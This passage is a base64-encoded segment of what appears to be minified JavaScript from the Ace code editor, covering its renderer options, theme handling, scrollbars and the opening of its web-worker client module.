RkaW5nLHM9aS90aGlzLmNoYXJhY3RlcldpZHRoLG89TWF0aC5mbG9vcigodCt0aGlzLnNjcm9sbFRvcC1uLnRvcCkvdGhpcy5saW5lSGVpZ2h0KSx1PXRoaXMuJGJsb2NrQ3Vyc29yP01hdGguZmxvb3Iocyk6TWF0aC5yb3VuZChzKTtyZXR1cm57cm93Om8sY29sdW1uOnUsc2lkZTpzLXU+MD8xOi0xLG9mZnNldFg6aX19LHRoaXMuc2NyZWVuVG9UZXh0Q29vcmRpbmF0ZXM9ZnVuY3Rpb24oZSx0KXt2YXIgbjtpZih0aGlzLiRoYXNDc3NUcmFuc2Zvcm1zKXtuPXt0b3A6MCxsZWZ0OjB9O3ZhciByPXRoaXMuJGZvbnRNZXRyaWNzLnRyYW5zZm9ybUNvb3JkaW5hdGVzKFtlLHRdKTtlPXJbMV0tdGhpcy5ndXR0ZXJXaWR0aC10aGlzLm1hcmdpbi5sZWZ0LHQ9clswXX1lbHNlIG49dGhpcy5zY3JvbGxlci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTt2YXIgaT1lK3RoaXMuc2Nyb2xsTGVmdC1uLmxlZnQtdGhpcy4kcGFkZGluZyxzPWkvdGhpcy5jaGFyYWN0ZXJXaWR0aCxvPXRoaXMuJGJsb2NrQ3Vyc29yP01hdGguZmxvb3Iocyk6TWF0aC5yb3VuZChzKSx1PU1hdGguZmxvb3IoKHQrdGhpcy5zY3JvbGxUb3Atbi50b3ApL3RoaXMubGluZUhlaWdodCk7cmV0dXJuIHRoaXMuc2Vzc2lvbi5zY3JlZW5Ub0RvY3VtZW50UG9zaXRpb24odSxNYXRoLm1heChvLDApLGkpfSx0aGlzLnRleHRUb1NjcmVlbkNvb3JkaW5hdGVzPWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy5zY3JvbGxlci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKSxyPXRoaXMuc2Vzc2lvbi5kb2N1bWVudFRvU2NyZWVuUG9zaXRpb24oZSx0KSxpPXRoaXMuJHBhZGRpbmcrKHRoaXMuc2Vzc2lvbi4kYmlkaUhhbmRsZXIuaXNCaWRpUm93KHIucm93LGUpP3RoaXMuc2Vzc2lvbi4kYmlkaUhhbmRsZXIuZ2V0UG9zTGVmdChyLmNvbHVtbik6TWF0aC5yb3VuZChyLmNvbHVtbip0aGlzLmNoYXJhY3RlcldpZHRoKSkscz1yLnJvdyp0aGlzLmxpbmVIZWlnaHQ7cmV0dXJue3BhZ2VYOm4ubGVmdCtpLXRoaXMuc2Nyb2xsTGVmdCxwYWdlWTpuLnRvcCtzLXRoaXMuc2Nyb2xsVG9wfX0sdGhpcy52aXN1YWxpemVGb2N1cz1mdW5jdGlvbigpe2kuYWRkQ3NzQ2xhc3ModGhpcy5jb250YWluZXIsImFjZV9mb2N1cyIpfSx0aGlzLnZpc3VhbGl6ZUJsdXI9ZnVuY3Rpb24oKXtpLnJlbW92ZUNzc0NsYXNzKHRoaXMuY29udGFpbmVyLCJhY2VfZm9jdXMiKX0sdGhpcy5zaG93Q29tcG9zaXRpb249ZnVuY3Rpb24oZSl7dGhpcy4kY29tcG9zaXRpb249ZSxlLmNzc1RleHR8fChlLmNzc1RleHQ9dGhpcy50ZXh0YXJlYS5zdHlsZS5jc3NUZXh0KSxlLnVzZVRleHRhcmVhRm9ySU1FPT11bmRlZmluZWQmJihlLnVzZVRleHRhcmVhRm9ySU1FPXRoaXMuJHVzZVRleHRhcmVhRm9ySU1FKSx0aGlzLiR1c2VUZXh0YXJlYUZvcklNRT8oaS5hZGRDc3NDbGFzcyh0aGlzLnRleHRhcmVhLCJhY2VfY29tcG9zaXRpb24iKSx0aGlzLnRleHRhcmVhLnN0eWxlLmNzc1RleHQ9IiIsdGhpcy4kbW92ZVRleHRBcmVhVG9DdXJzb3IoKSx0aGlzLiRjdXJzb3JMYXllci5lbGVtZW50LnN0eWxlLmRpc3BsYXk9Im5vbmUiKTplLm1hcmtlcklkPXRoaXMuc2Vzc2lvbi5hZGRNYXJrZXIoZS5tYXJrZXJSYW5nZSwiYWNlX2NvbXBvc2l0aW9uX21hcmtlciIsInRleHQiKX0sdGhpcy5zZXRDb21wb3NpdGlvblRleHQ9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5zZXNzaW9uLnNlbGVjdGlvbi5jdXJzb3I7dGhpcy5hZGRUb2tlbihlLCJjb21wb3NpdGlvbl9wbGFjZWhvbGRlciIsdC5yb3csdC5jb2x1bW4pLHRoaXMuJG1vdmVUZXh0QXJlYVRvQ3Vyc29yKCl9LHRoaXMuaGlkZUNvbXBvc2l0aW9uPWZ1bmN0aW9uKCl7aWYoIXRoaXMuJGNvbXBvc2l0aW9uKXJldHVybjt0aGlzLiRjb21wb3NpdGlvbi5tYXJrZXJJZCYmdGhpcy5zZXNzaW9uLnJlbW92ZU1hcmtlcih0aGlzLiRjb21wb3NpdGlvbi5tYXJrZXJJZCksaS5yZW1vdmVDc3NDbGFzcyh0aGlzLnRleHRhcmVhLCJhY2VfY29tcG9zaXRpb24iKSx0aGlzLnRleHRhcmVhLnN0eWxlLmNzc1RleHQ9dGhpcy4kY29tcG9zaXRpb24uY3NzVGV4dDt2YXIgZT10aGlzLnNlc3Npb24uc2VsZWN0aW9uLmN1cnNvcjt0aGlzLnJlbW92ZUV4dHJhVG9rZW4oZS5yb3csZS5jb2x1bW4pLHRoaXMuJGNvbXBvc2l0aW9uPW51bGwsdGhpcy4kY3Vyc29yTGF5ZXIuZWxlbWVudC5zdHlsZS5kaXNwbGF5PSIifSx0aGlzLmFkZFRva2VuPWZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpPXRoaXMuc2Vzc2lvbjtpLmJnVG9rZW5pemVyLmxpbmVzW25dPW51bGw7dmFyIHM9e3R5cGU6dCx2YWx1ZTplfSxvPWkuZ2V0VG9rZW5zKG4pO2lmKHI9PW51bGwpby5wdXNoKHMpO2Vsc2V7dmFyIHU9MDtmb3IodmFyIGE9MDthPG8ubGVuZ3RoO2ErKyl7dmFyIGY9b1thXTt1Kz1mLnZhbHVlLmxlbmd0aDtpZihyPD11KXt2YXIgbD1mLnZhbHVlLmxlbmd0aC0odS1yKSxjPWYudmFsdWUuc2xpY2UoMCxsKSxoPWYudmFsdWUuc2xpY2UobCk7by5zcGxpY2UoYSwxLHt0eXBlOmYudHlwZSx2YWx1ZTpjfSxzLHt0eXBlOmYudHlwZSx2YWx1ZTpofSk7YnJlYWt9fX10aGlzLnVwZGF0ZUxpbmVzKG4sbil9LHRoaXMucmVtb3ZlRXh0cmFUb2tlbj1mdW5jdGlvbihlLHQpe3RoaXMudXBkYXRlTGluZXMoZSxlKX0sdGhpcy5zZXRUaGVtZT1mdW5jdGlvbihlLHQpe2Z1bmN0aW9uIG8ocil7aWYobi4kdGhlbWVJZCE9ZSlyZXR1cm4gdCYmdCgpO2lmKCFyfHwhci5jc3NDbGFzcyl0aHJvdyBuZXcgRXJyb3IoImNvdWxkbid0IGxvYWQgbW9kdWxlICIrZSsiIG9yIGl0IGRpZG4ndCBjYWxsIGRlZmluZSIpO3IuJGlkJiYobi4kdGhlbWVJZD1yLiRpZCksaS5pbXBvcnRDc3NTdHJpbmcoci5jc3NUZXh0LHIuY3NzQ2xhc3Msbi5jb250YWluZXIpLG4udGhlbWUmJmkucmVtb3ZlQ3NzQ2xhc3Mobi5jb250YWluZXIsbi50aGVtZS5jc3NDbGFzcyk7dmFyIHM9InBhZGRpbmciaW4gcj9yLnBhZGRpbmc6InBhZGRpbmciaW4obi50aGVtZXx8e30pPzQ6bi4kcGFkZGluZztuLiRwYWRkaW5nJiZzIT1uLiRwYWRkaW5nJiZuLnNldFBhZGRpbmcocyksbi4kdGhlbWU9ci5jc3NDbGFzcyxuLnRoZW1lPXIsaS5hZGRDc3NDbGFzcyhuLmNvbnRhaW5lcixyLmNzc0NsYXNzKSxpLnNldENzc0NsYXNzKG4uY29udGFpbmVyLCJhY2VfZGFyayIsci5pc0RhcmspLG4uJHNpemUmJihuLiRzaXplLndpZHRoPTAsbi4kdXBkYXRlU2l6ZUFzeW5jKCkpLG4uX2Rpc3BhdGNoRXZlbnQoInRoZW1lTG9hZGVkIix7dGhlbWU6cn0pLHQmJnQoKX12YXIgbj10aGlzO3RoaXMuJHRoZW1lSWQ9ZSxuLl9kaXNwYXRjaEV2ZW50KCJ0aGVtZUNoYW5nZSIse3RoZW1lOmV9KTtpZighZXx8dHlwZW9mIGU9PSJzdHJpbmciKXt2YXIgcj1lfHx0aGlzLiRvcHRpb25zLnRoZW1lLmluaXRpYWxWYWx1ZTtzLmxvYWRNb2R1bGUoWyJ0aGVtZSIscl0sbyl9ZWxzZSBvKGUpfSx0aGlzLmdldFRoZW1lPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJHRoZW1lSWR9LHRoaXMuc2V0U3R5bGU9ZnVuY3Rpb24oZSx0KXtpLnNldENzc0NsYXNzKHRoaXMuY29udGFpbmVyLGUsdCE9PSExKX0sdGhpcy51bnNldFN0eWxlPWZ1bmN0aW9uKGUpe2kucmVtb3ZlQ3NzQ2xhc3ModGhpcy5jb250YWluZXIsZSl9LHRoaXMuc2V0Q3Vyc29yU3R5bGU9ZnVuY3Rpb24oZSl7aS5zZXRTdHlsZSh0aGlzLnNjcm9sbGVyLnN0eWxlLCJjdXJzb3IiLGUpfSx0aGlzLnNldE1vdXNlQ3Vyc29yPWZ1bmN0aW9uKGUpe2kuc2V0U3R5bGUodGhpcy5zY3JvbGxlci5zdHlsZSwiY3Vyc29yIixlKX0sdGhpcy5hdHRhY2hUb1NoYWRvd1Jvb3Q9ZnVuY3Rpb24oKXtpLmltcG9ydENzc1N0cmluZyhnLCJhY2VfZWRpdG9yLmNzcyIsdGhpcy5jb250YWluZXIpfSx0aGlzLmRlc3Ryb3k9ZnVuY3Rpb24oKXt0aGlzLmZyZWV6ZSgpLHRoaXMuJGZvbnRNZXRyaWNzLmRlc3Ryb3koKSx0aGlzLiRjdXJzb3JMYXllci5kZXN0cm95KCksdGhpcy5yZW1vdmVBbGxMaXN0ZW5lcnMoKSx0aGlzLmNvbnRhaW5lci50ZXh0Q29udGVudD0iIn0sdGhpcy4kdXBkYXRlQ3VzdG9tU2Nyb2xsYmFyPWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXM7dGhpcy4kaG9yaXpTY3JvbGw9dGhpcy4kdlNjcm9sbD1udWxsLHRoaXMuc2Nyb2xsQmFyVi5lbGVtZW50LnJlbW92ZSgpLHRoaXMuc2Nyb2xsQmFySC5lbGVtZW50LnJlbW92ZSgpLHRoaXMuJHNjcm9sbERlY29yYXRvciYmZGVsZXRlIHRoaXMuJHNjcm9sbERlY29yYXRvcixlPT09ITA/KHRoaXMuc2Nyb2xsQmFyVj1uZXcgcCh0aGlzLmNvbnRhaW5lcix0aGlzKSx0aGlzLnNjcm9sbEJhckg9bmV3IGgodGhpcy5jb250YWluZXIsdGhpcyksdGhpcy5zY3JvbGxCYXJWLnNldEhlaWdodCh0aGlzLiRzaXplLnNjcm9sbGVySGVpZ2h0KSx0aGlzLnNjcm9sbEJhckguc2V0V2lkdGgodGhpcy4kc2l6ZS5zY3JvbGxlcldpZHRoKSx0aGlzLnNjcm9sbEJhclYuYWRkRXZlbnRMaXN0ZW5lcigic2Nyb2xsIixmdW5jdGlvbihlKXt0LiRzY3JvbGxBbmltYXRpb258fHQuc2Vzc2lvbi5zZXRTY3JvbGxUb3AoZS5kYXRhLXQuc2Nyb2xsTWFyZ2luLnRvcCl9KSx0aGlzLnNjcm9sbEJhckguYWRkRXZlbnRMaXN0ZW5lcigic2Nyb2xsIixmdW5jdGlvbihlKXt0LiRzY3JvbGxBbmltYXRpb258fHQuc2Vzc2lvbi5zZXRTY3JvbGxMZWZ0KGUuZGF0YS10LnNjcm9sbE1hcmdpbi5sZWZ0KX0pLHRoaXMuJHNjcm9sbERlY29yYXRvcj1uZXcgeSh0aGlzLnNjcm9sbEJhclYsdGhpcyksdGhpcy4kc2Nyb2xsRGVjb3JhdG9yLiR1cGRhdGVEZWNvcmF0b3JzKCkpOih0aGlzLnNjcm9sbEJhclY9bmV3IGModGhpcy5jb250YWluZXIsdGhpcyksdGhpcy5zY3JvbGxCYXJIPW5ldyBsKHRoaXMuY29udGFpbmVyLHRoaXMpLHRoaXMuc2Nyb2xsQmFyVi5hZGRFdmVudExpc3RlbmVyKCJzY3JvbGwiLGZ1bmN0aW9uKGUpe3QuJHNjcm9sbEFuaW1hdGlvbnx8dC5zZXNzaW9uLnNldFNjcm9sbFRvcChlLmRhdGEtdC5zY3JvbGxNYXJnaW4udG9wKX0pLHRoaXMuc2Nyb2xsQmFySC5hZGRFdmVudExpc3RlbmVyKCJzY3JvbGwiLGZ1bmN0aW9uKGUpe3QuJHNjcm9sbEFuaW1hdGlvbnx8dC5zZXNzaW9uLnNldFNjcm9sbExlZnQoZS5kYXRhLXQuc2Nyb2xsTWFyZ2luLmxlZnQpfSkpfX0pLmNhbGwoRS5wcm90b3R5cGUpLHMuZGVmaW5lT3B0aW9ucyhFLnByb3RvdHlwZSwicmVuZGVyZXIiLHthbmltYXRlZFNjcm9sbDp7aW5pdGlhbFZhbHVlOiExfSxzaG93SW52aXNpYmxlczp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuJHRleHRMYXllci5zZXRTaG93SW52aXNpYmxlcyhlKSYmdGhpcy4kbG9vcC5zY2hlZHVsZSh0aGlzLkNIQU5HRV9URVhUKX0saW5pdGlhbFZhbHVlOiExfSxzaG93UHJpbnRNYXJnaW46e3NldDpmdW5jdGlvbigpe3RoaXMuJHVwZGF0ZVByaW50TWFyZ2luKCl9LGluaXRpYWxWYWx1ZTohMH0scHJpbnRNYXJnaW5Db2x1bW46e3NldDpmdW5jdGlvbigpe3RoaXMuJHVwZGF0ZVByaW50TWFyZ2luKCl9LGluaXRpYWxWYWx1ZTo4MH0scHJpbnRNYXJnaW46e3NldDpmdW5jdGlvbihlKXt0eXBlb2YgZT09Im51bWJlciImJih0aGlzLiRwcmludE1hcmdpbkNvbHVtbj1lKSx0aGlzLiRzaG93UHJpbnRNYXJnaW49ISFlLHRoaXMuJHVwZGF0ZVByaW50TWFyZ2luKCl9LGdldDpmdW5jdGlvbigpe3JldHVybiB0aGlzLiRzaG93UHJpbnRNYXJnaW4mJnRoaXMuJHByaW50TWFyZ2luQ29sdW1ufX0sc2hvd0d1dHRlcjp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuJGd1dHRlci5zdHlsZS5kaXNwbGF5PWU/ImJsb2NrIjoibm9uZSIsdGhpcy4kbG9vcC5zY2hlZHVsZSh0aGlzLkNIQU5HRV9GVUxMKSx0aGlzLm9uR3V0dGVyUmVzaXplKCl9LGluaXRpYWxWYWx1ZTohMH0sZmFkZUZvbGRXaWRnZXRzOntzZXQ6ZnVuY3Rpb24oZSl7aS5zZXRDc3NDbGFzcyh0aGlzLiRndXR0ZXIsImFjZV9mYWRlLWZvbGQtd2lkZ2V0cyIsZSl9LGluaXRpYWxWYWx1ZTohMX0sc2hvd0ZvbGRXaWRnZXRzOntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy4kZ3V0dGVyTGF5ZXIuc2V0U2hvd0ZvbGRXaWRnZXRzKGUpLHRoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfR1VUVEVSKX0saW5pdGlhbFZhbHVlOiEwfSxkaXNwbGF5SW5kZW50R3VpZGVzOntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy4kdGV4dExheWVyLnNldERpc3BsYXlJbmRlbnRHdWlkZXMoZSkmJnRoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfVEVYVCl9LGluaXRpYWxWYWx1ZTohMH0saGlnaGxpZ2h0SW5kZW50R3VpZGVzOntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy4kdGV4dExheWVyLnNldEhpZ2hsaWdodEluZGVudEd1aWRlcyhlKT09MT90aGlzLiR0ZXh0TGF5ZXIuJGhpZ2hsaWdodEluZGVudEd1aWRlKCk6dGhpcy4kdGV4dExheWVyLiRjbGVhckFjdGl2ZUluZGVudEd1aWRlKHRoaXMuJHRleHRMYXllci4kbGluZXMuY2VsbHMpfSxpbml0aWFsVmFsdWU6ITB9LGhpZ2hsaWdodEd1dHRlckxpbmU6e3NldDpmdW5jdGlvbihlKXt0aGlzLiRndXR0ZXJMYXllci5zZXRIaWdobGlnaHRHdXR0ZXJMaW5lKGUpLHRoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfR1VUVEVSKX0saW5pdGlhbFZhbHVlOiEwfSxoU2Nyb2xsQmFyQWx3YXlzVmlzaWJsZTp7c2V0OmZ1bmN0aW9uKGUpeyghdGhpcy4kaFNjcm9sbEJhckFsd2F5c1Zpc2libGV8fCF0aGlzLiRob3JpelNjcm9sbCkmJnRoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfU0NST0xMKX0saW5pdGlhbFZhbHVlOiExfSx2U2Nyb2xsQmFyQWx3YXlzVmlzaWJsZTp7c2V0OmZ1bmN0aW9uKGUpeyghdGhpcy4kdlNjcm9sbEJhckFsd2F5c1Zpc2libGV8fCF0aGlzLiR2U2Nyb2xsKSYmdGhpcy4kbG9vcC5zY2hlZHVsZSh0aGlzLkNIQU5HRV9TQ1JPTEwpfSxpbml0aWFsVmFsdWU6ITF9LGZvbnRTaXplOntzZXQ6ZnVuY3Rpb24oZSl7dHlwZW9mIGU9PSJudW1iZXIiJiYoZSs9InB4IiksdGhpcy5jb250YWluZXIuc3R5bGUuZm9udFNpemU9ZSx0aGlzLnVwZGF0ZUZvbnRTaXplKCl9LGluaXRpYWxWYWx1ZToxMn0sZm9udEZhbWlseTp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuY29udGFpbmVyLnN0eWxlLmZvbnRGYW1pbHk9ZSx0aGlzLnVwZGF0ZUZvbnRTaXplKCl9fSxtYXhMaW5lczp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMudXBkYXRlRnVsbCgpfX0sbWluTGluZXM6e3NldDpmdW5jdGlvbihlKXt0aGlzLiRtaW5MaW5lczw1NjI5NDk5NTM0MjEzMTF8fCh0aGlzLiRtaW5MaW5lcz0wKSx0aGlzLnVwZGF0ZUZ1bGwoKX19LG1heFBpeGVsSGVpZ2h0OntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy51cGRhdGVGdWxsKCl9LGluaXRpYWxWYWx1ZTowfSxzY3JvbGxQYXN0RW5kOntzZXQ6ZnVuY3Rpb24oZSl7ZT0rZXx8MDtpZih0aGlzLiRzY3JvbGxQYXN0RW5kPT1lKXJldHVybjt0aGlzLiRzY3JvbGxQYXN0RW5kPWUsdGhpcy4kbG9vcC5zY2hlZHVsZSh0aGlzLkNIQU5HRV9TQ1JPTEwpfSxpbml0aWFsVmFsdWU6MCxoYW5kbGVzU2V0OiEwfSxmaXhlZFdpZHRoR3V0dGVyOntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy4kZ3V0dGVyTGF5ZXIuJGZpeGVkV2lkdGg9ISFlLHRoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfR1VUVEVSKX19LGN1c3RvbVNjcm9sbGJhcjp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuJHVwZGF0ZUN1c3RvbVNjcm9sbGJhcihlKX0saW5pdGlhbFZhbHVlOiExfSx0aGVtZTp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuc2V0VGhlbWUoZSl9LGdldDpmdW5jdGlvbigpe3JldHVybiB0aGlzLiR0aGVtZUlkfHx0aGlzLnRoZW1lfSxpbml0aWFsVmFsdWU6Ii4vdGhlbWUvdGV4dG1hdGUiLGhhbmRsZXNTZXQ6ITB9LGhhc0Nzc1RyYW5zZm9ybXM6e30sdXNlVGV4dGFyZWFGb3JJTUU6e2luaXRpYWxWYWx1ZTohYi5pc01vYmlsZSYmIWIuaXNJRX19KSx0LlZpcnR1YWxSZW5kZXJlcj1FfSksZGVmaW5lKCJhY2Uvd29ya2VyL3dvcmtlcl9jbGllbnQiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL29vcCIsImFjZS9saWIvbmV0IiwiYWNlL2xpYi9ldmVudF9lbWl0dGVyIiwiYWNlL2NvbmZpZyJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7ZnVuY3Rpb24gdShlKXt2YXIgdD0iaW1wb3J0U2NyaXB0cygnIitpLnF1YWxpZnlVUkwoZSkrIicpOyI7dHJ5e3JldHVybiBuZXcgQmxvYihbdF0se3R5cGU6ImFwcGxpY2F0aW9uL2phdmFzY3JpcHQifSl9Y2F0Y2gobil7dmFyIHI9d2luZG93LkJsb2JCdWlsZGVyfHx3aW5kb3cuV2ViS2l0QmxvYkJ1aWxkZXJ8fHdpbmRvdy5Nb3pCbG9iQnVpbGRlcixzPW5ldyByO3JldHVybiBzLmFwcGVuZCh0KSxzLmdldEJsb2IoImFwcGxpY2F0aW9uL2phdmFzY3JpcHQiKX19ZnVuY3Rpb24gYShlKXtpZih0eXBlb2YgV29ya2VyPT0idW5kZWZpbmVkIilyZXR1cm57cG9zdE1lc3NhZ2U6ZnVuY3Rpb24oKXt9LHRlcm1pbmF0ZTpmdW5jdGlvbigpe319O2lmKG8uZ2V0KCJsb2FkV29ya2VyRnJvbUJsb2IiKSl7dmFyIHQ9dShlKSxuPXdpbmRvdy5VUkx8fHdpbmRvdy53ZWJraXRVUkwscj1uLmNyZWF0ZU9iamVjdFVSTCh0KTtyZXR1cm4gbmV3IFdvcmtlcihyKX1yZXR1cm4gbmV3IFdvcmtlcihlKX12YXIgcj1lKCIuLi9saWIvb29wIiksaT1lKCIuLi9saWIvbmV0Iikscz1lKCIuLi9saWIvZXZlbnRfZW1pdHRlciIpLkV2ZW50RW1pdHRlcixvPWUoIi4uL2NvbmZpZyIpLGY9ZnVuY3Rpb24oZSl7ZS5wb3N0TWVzc2FnZXx8KGU9dGhpcy4kY3JlYXRlV29ya2VyRnJvbU9sZENvbmZpZy5hcHBseSh0aGlzLGFyZ3VtZW50cykpLHRoaXMuJHdvcmtlcj1lLHRoaXMuJHNlbmREZWx0YVF1ZXVlPXRoaXMuJHNlbmREZWx0YVF1ZXVlLmJpbmQodGhpcyksdGhpcy5jaGFuZ2VMaXN0ZW5lcj10aGlzLmNoYW5nZUxpc3RlbmVyLmJpbmQodGhpcyksdGhpcy5vbk1lc3NhZ2U9dGhpcy5vbk1lc3NhZ2UuYmluZCh0aGlzKSx0aGlzLmNhbGxiYWNrSWQ9MSx0aGlzLmNhbGxiYWNrcz17fSx0aGlzLiR3b3JrZXIub25tZXNzYWdlPXRoaXMub25NZXNzYWdlfTsoZnVuY3Rpb24oKXtyLmltcGxlbWVudCh0aGlzLHMpLHRoaXMuJGNyZWF0ZVdvcmtlckZyb21PbGRDb25maWc9ZnVuY3Rpb24odCxuLHIsaSxzKXtlLm5hbWVUb1VybCYmIWUudG9VcmwmJihlLnRvVXJsPWUubmFtZVRvVXJsKTtpZihvLmdldCgicGFja2FnZWQiKXx8IWUudG9VcmwpaT1pfHxvLm1vZHVsZVVybChuLCJ3b3JrZXIiKTtlbHNle3ZhciB1PXRoaXMuJG5vcm1hbGl6ZVBhdGg7aT1pfHx1KGUudG9VcmwoImFjZS93b3JrZXIvd29ya2VyLmpzIixudWxsLCJfIikpO3ZhciBmPXt9O3QuZm9yRWFjaChmdW5jdGlvbih0KXtmW3RdPXUoZS50b1VybCh0LG51bGwsIl8iKS5yZXBsYWNlKC8oXC5qcyk/KFw/LiopPyQvLCIiKSl9KX1yZXR1cm4gdGhpcy4kd29ya2VyPWEoaSkscyYmdGhpcy5zZW5kKCJpbXBvcnRTY3JpcHRzIixzKSx0aGlzLiR3b3JrZXIucG9zdE1lc3NhZ2Uoe2luaXQ6ITAsdGxuczpmLG1vZHVsZTpuLGNsYXNzbmFtZTpyfSksdGhpcy4kd29ya2VyfSx0aGlzLm9uTWVzc2FnZT1mdW5jdGlvbihlKXt2YXIgdD1lLmRhdGE7c3dpdGNoKHQudHlwZSl7Y2FzZSJldmVudCI6dGhpcy5fc2lnbmFsKHQubmFtZSx7ZGF0YTp0LmRhdGF9KTticmVhaztjYXNlImNhbGwiOnZhciBuPXRoaXMuY2FsbGJhY2tzW3QuaWRdO24mJihuKHQuZGF0YSksZGVsZXRlIHRoaXMuY2FsbGJhY2tzW3QuaWRdKTticmVhaztjYXNlImVycm9yIjp0aGlzLnJlcG9ydEVycm9yKHQuZGF0YSk7YnJlYWs7Y2FzZSJsb2ciOndpbmRvdy5jb25zb2xlJiZjb25zb2xlLmxvZyYmY29uc29sZS5sb2cuYXBwbHkoY29uc29sZSx0LmRhdGEpfX0sdGhpcy5yZXBvcnRFcnJvcj1mdW5jdGlvbihlKXt3aW5kb3cuY29uc29sZSYmY29uc29sZS5lcnJvciYmY29uc29sZS5lcnJvcihlKX0sdGhpcy4kbm9ybWFsaXplUGF0aD1mdW5jdGlvbihlKXtyZXR1cm4gaS5xdWFsaWZ5VVJMKGUpfSx0aGlzLnRlcm1pbmF0ZT1mdW5jdGlvbigpe3RoaXMuX3NpZ25hbCgidGVybWluYXRlIix7fSksdGhpcy5kZWx0YVF1ZXVlPW51bGwsdGhpcy4kd29ya2VyLnRlcm1pbmF0ZSgpLHRoaXMuJHdvcmtlcj1udWxsLHRoaXMuJGRvYyYmdGhpcy4kZG9jLm9mZigiY2hhbmdlIix0aGlzLmNoYW5nZUxpc3RlbmVyKSx0aGlzLiRkb2M9bnVsbH0sdGhpcy5zZW5kPWZ1bmN0aW9uKGUsdCl7dGhpcy4kd29ya2VyLnBvc3RNZXNzYWdlKHtjb21tYW5kOmUsYXJnczp0fSl9LHRoaXMuY2FsbD1mdW5jdGlvbihlLHQsbil7aWYobil7dmFyIHI9dGhpcy5jYWxsYmFja0lkKys7dGhpcy5jYWxsYmFja3Nbcl09bix0LnB1c2gocil9dGhpcy5zZW5kKGUsdCl9LHRoaXMuZW1pdD1mdW5jdGlvbihlLHQpe3RyeXt0LmRhdGEmJnQuZGF0YS5lcnImJih0LmRhdGEuZXJyPXttZXNzYWdlOnQuZGF0YS5lcnIubWVzc2FnZSxzdGFjazp0LmRhdGEuZXJyLnN0YWNrLGNvZGU6dC5kYXRhLmVyci5jb2RlfSksdGhpcy4kd29ya2VyJiZ0aGlzLiR3b3JrZXIucG9zdE1lc3NhZ2Uoe2V2ZW50OmUsZGF0YTp7ZGF0YTp0LmRhdGF9fSl9Y2F0Y2gobil7Y29uc29sZS5lcnJvcihuLnN0YWNrKX19LHRoaXMuYXR0YWNoVG9Eb2N1bWVudD1mdW5jdGlvbihlKXt0aGlzLiRkb2MmJnRoaXMudGVybWluYXRlKCksdGhpcy4kZG9jPWUsdGhpcy5jYWxsKCJzZXRWYWx1ZSIsW2UuZ2V0VmFsdWUoKV0pLGUub24oImNoYW5nZSIsdGhpcy5jaGFuZ2VMaXN0ZW5lciwhMCl9LHRoaXMuY2hhbmdlTGlzdGVuZXI9ZnVuY3Rpb24oZSl7dGhpcy5kZWx0YVF1ZXVlfHwodGhpcy5kZWx0YVF1ZXVlPVtdLHNldFRpbWVvdXQodGhpcy4kc2VuZERlbHRhUXVldWUsMCkpLGUuYWN0aW9uPT0iaW5zZXJ0Ij90aGlzLmRlbHRhUXVldWUucHVzaChlLnN0YXJ0LGUubGluZXMpOnRoaXMuZGVsdGFRdWV1ZS5wdXNoKGUuc3RhcnQsZS5lbmQpfSx0aGlzLiRzZW5kRGVsdGFRdWV1ZT1mdW5jdGlvbigpe3ZhciBlPXRoaXMuZGVsdGFRdWV1ZTtpZighZSlyZXR1cm47dGhpcy5kZWx0YVF1ZXVlPW51bGwsZS5sZW5ndGg+NTAmJmUubGVuZ3RoPnRoaXMuJGRvYy5nZXRMZW5ndGgoKT4+MT90aGlzLmNhbGwoInNldFZhbHVlIixbdGhpcy4kZG9jLmdldFZhbHVlKCldKTp0aGlzLmVtaXQoImNoYW5nZSIse2RhdGE6ZX0pfX0pLmNhbGwoZi5wcm90b3R5cGUpO3ZhciBsPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj1udWxsLGk9ITEsdT1PYmplY3QuY3JlYXRlKHMpLGE9W10sbD1uZXcgZih7bWVzc2FnZUJ1ZmZlcjphLHRlcm1pbmF0ZTpmdW5jdGlvbigpe30scG9zdE1lc3NhZ2U6ZnVuY3Rpb24oZSl7YS5wdXNoKGUpO2lmKCFyKXJldHVybjtpP3NldFRpbWVvdXQoYyk6YygpfX0pO2wuc2V0RW1pdFN5bmM9ZnVuY3Rpb24oZSl7aT1lfTt2YXIgYz1mdW5jdGlvbigpe3ZhciBlPWEuc2hpZnQoKTtlLmNvbW1hbmQ/cltlLmNvbW1hbmRdLmFwcGx5KHIsZS5hcmdzKTplLmV2ZW50JiZ1Ll9zaWduYWwoZS5ldmVudCxlLmRhdGEpfTtyZXR1cm4gdS5wb3N0TWVzc2FnZT1mdW5jdGlvbihlKXtsLm9uTWVzc2FnZSh7ZGF0YTplfSl9LHUuY2FsbGJhY2s9ZnVuY3Rpb24oZSx0KXt0aGlzLnBvc3RNZXNzYWdlKHt0eXBlOiJjYWxsIixpZDp0LGRhdGE6ZX0pfSx1LmVtaXQ9ZnVuY3Rpb24oZSx0KXt0aGlzLnBvc3RNZXNzYWdlKHt0eXBlOiJldmVudCIsbmFtZTplLGRhdGE6dH0pfSxvLmxvYWRNb2R1bGUoWyJ3b3JrZXIiLHRdLGZ1bmN0aW9uKGUpe3I9bmV3IGVbb